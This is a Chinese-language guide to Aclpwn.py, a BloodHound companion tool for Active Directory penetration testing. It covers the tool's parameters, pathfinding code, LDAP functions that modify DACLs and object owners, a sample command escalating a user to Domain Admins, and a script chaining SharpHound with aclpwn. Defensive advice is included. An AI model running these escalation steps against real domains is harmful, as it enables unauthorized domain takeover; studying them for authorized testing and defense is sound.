域渗透之ACL策略自动检测工具Aclpwn分析
字数 2378 2025-08-06 12:20:48
ACL策略自动检测工具Aclpwn深度分析与使用指南
一、工具概述
Aclpwn.py是一款与BloodHound配合使用的域渗透工具,专门用于识别和利用基于ACL(访问控制列表)的特权升级路径。该工具通过Neo4j寻路算法找到最有效的基于ACL的权限升级路径,并自动化执行攻击操作。
二、核心功能
- 路径发现:使用多种算法在BloodHound数据中查找特权升级路径
- 路径验证:检查路径中是否存在不支持的操作
- 自动化攻击:按照发现的路径自动执行权限提升操作
- 恢复功能:能够撤销已执行的更改
三、安装与依赖
系统要求
- Python 3.x
- Neo4j数据库(用于存储BloodHound数据)
- BloodHound收集的域数据
依赖安装
pip install neo4j-driver
pip install ldap3
pip install pyasn1
四、参数详解
主要参数
| 参数 | 缩写 | 描述 | 示例 |
|---|---|---|---|
| --from | -f | 起始对象(通常为用户) | user@domain.local |
| --from-type | -ft | 起始对象类型(User/Group/Domain/Computer) | User |
| --to | -t | 目标对象(通常为组/域) | computer.domain.local |
| --to-type | -tt | 目标对象类型(User/Group/Domain/Computer) | Domain |
| --domain | -d | 操作的域 | corp.local |
| --algorithm | -a | 路径查找算法 | dijkstra |
| --restore | -r | 恢复aclpwn存储的更改 | /path/to/backup |
| --database | - | Neo4j数据库主机 | localhost |
| --database-user | -du | Neo4j用户名 | neo4j |
| --database-password | -dp | Neo4j密码 | password123 |
| --no-prepare | - | 使用Dijkstra算法时不执行数据库准备 | - |
| --server | -s | 攻击目标服务器 | dc01.corp.local |
| --user | -u | 攻击用户名 | attacker |
| --password | -p | 攻击用户密码或Hash | password123 |
| --source-password | -sp | 源用户密码或Hash | userpass123 |
| --dry-run | -dry | 仅模拟不实际执行 | - |
算法选项
shortestonly:仅查找最短路径dijkstra:使用Dijkstra算法(REST API)dijkstra-cypher:使用Dijkstra算法(Cypher查询)allsimple:查找所有简单路径
五、核心模块分析
1. 路径查找模块(pathfinding)
Dijkstra算法实现
def dijkstra_find(start_id, end_id, costmap, direction='out'):
# 初始化距离和前驱节点
distances = {start_id: 0}
previous = {}
nodes = set([start_id, end_id])
# 优先队列
queue = [(0, start_id)]
while queue:
current_dist, current_node = heapq.heappop(queue)
if current_node == end_id:
break
# 获取当前节点的所有出边
relationships = get_relationships(current_node, direction)
for rel in relationships:
neighbor = rel.end_node if direction == 'out' else rel.start_node
rel_type = rel.type
# 计算新距离
new_dist = current_dist + costmap.get(rel_type, 1)
if neighbor.id not in distances or new_dist < distances[neighbor.id]:
distances[neighbor.id] = new_dist
previous[neighbor.id] = (current_node, rel)
heapq.heappush(queue, (new_dist, neighbor.id))
# 构建路径
path = []
current = end_id
while current in previous:
path.append(previous[current][1])
current = previous[current][0]
return list(reversed(path))
路径解析
resolve_dijkstra_path():解析Dijkstra算法结果resolve_rest_path():解析REST API返回的路径
2. 攻击执行模块(exploitation)
LDAP操作核心函数
def connect_ldap(server, user, password, domain=None):
"""建立LDAP连接"""
if not domain:
domain = get_domain(user)
ldap_server = Server(server, get_info=ALL)
ldap_conn = Connection(ldap_server,
user=f"{user}@{domain}",
password=password,
authentication=NTLM)
if not ldap_conn.bind():
raise Exception(f"LDAP bind failed: {ldap_conn.last_error}")
return ldap_conn
def add_addmember_privs(ldap_conn, user_dn, group_dn):
"""为用户添加'写入成员'权限"""
# 构建ACE
ace = create_object_ace(user_dn, ADS_RIGHT_DS_WRITE_PROP, 'member')
# 修改目标组的DACL
modify_ldap_attribute(ldap_conn, group_dn, 'nTSecurityDescriptor', ace)
def write_owner(ldap_conn, user_dn, target_dn):
"""修改对象所有者"""
# 获取目标对象的安全描述符
sd = get_security_descriptor(ldap_conn, target_dn)
# 修改所有者SID
sd['Owner'] = get_sid_from_dn(ldap_conn, user_dn)
# 写回修改
set_security_descriptor(ldap_conn, target_dn, sd)
支持的操作类型
- MemberOf:成员关系(自动处理)
- AddMember:添加成员(仅支持Group目标)
- DCSync/GetChangesAll:域复制权限
- WriteDacl/GenericAll/GenericWrite/Owns:修改ACL(支持Group/Domain目标)
- WriteOwner:修改所有者(支持Group/Domain目标)
六、典型攻击流程
1. 查找攻击路径
aclpwn.py -f user@corp.local -t "Domain Admins@corp.local" -d corp.local -s dc01.corp.local -u attacker -p Password123
2. 路径示例
(user)->[MemberOf]->(GroupA)->[AddMember]->(GroupB)->[GenericAll]->(Domain Admins)
3. 攻击步骤分解
- 将用户添加到GroupA(如果还不是成员)
- 利用GroupA的AddMember权限将自身添加到GroupB
- 利用GroupB的GenericAll权限修改Domain Admins组的成员
- 将自身添加到Domain Admins组
七、防御建议
- 定期审计ACL:检查敏感对象(如域管理员组)的ACL设置
- 最小权限原则:限制对敏感对象的写入权限
- 监控异常活动:检测异常的组成员变更
- 保护域控制器:限制对域控制器的直接访问
- 使用特权访问管理:实施即时特权提升机制
八、高级用法
1. 自定义成本映射
通过修改costmap可以影响路径查找的优先级:
costmap = {
'MemberOf': 1,
'AddMember': 5,
'GenericAll': 10,
'WriteOwner': 20
}
2. 扩展支持的操作
在test_path函数中添加对新关系类型的支持:
if rel_type == 'NewRelationType':
if end_node_labels not in ['Group', 'Domain']:
print_error(f"NewRelationType not supported for {end_node_labels}")
return False
3. 自动化攻击链
结合其他工具实现全自动化攻击:
import subprocess
# 收集BloodHound数据
subprocess.run(["SharpHound.exe", "-c", "All"])
# 导入到Neo4j
subprocess.run(["bloodhound-import", "-d", "corp.local", "-c", "collection.zip"])
# 执行Aclpwn攻击
subprocess.run(["aclpwn.py", "-f", "user@corp.local", "-t", "Domain Admins@corp.local"])
九、故障排除
-
连接问题:
- 检查Neo4j服务是否运行
- 验证数据库凭据是否正确
- 确保BloodHound数据已正确导入
-
路径查找失败:
- 确认起始和目标对象存在
- 检查BloodHound数据是否完整
- 尝试不同的算法
-
LDAP操作失败:
- 验证提供的凭据是否正确
- 检查账户是否有足够的权限
- 确认目标服务器是否可访问
十、工具限制
- 仅支持BloodHound识别的标准关系类型
- 需要事先收集完整的域数据
- 某些Active Directory配置可能会阻止攻击操作
- 不支持所有可能的ACL修改场景
十一、总结
Aclpwn是一个强大的域渗透工具,能够自动化发现和利用ACL配置中的弱点。理解其工作原理不仅有助于攻击测试,也能帮助防御者更好地保护Active Directory环境。使用时应当遵守法律法规,仅在授权范围内进行测试。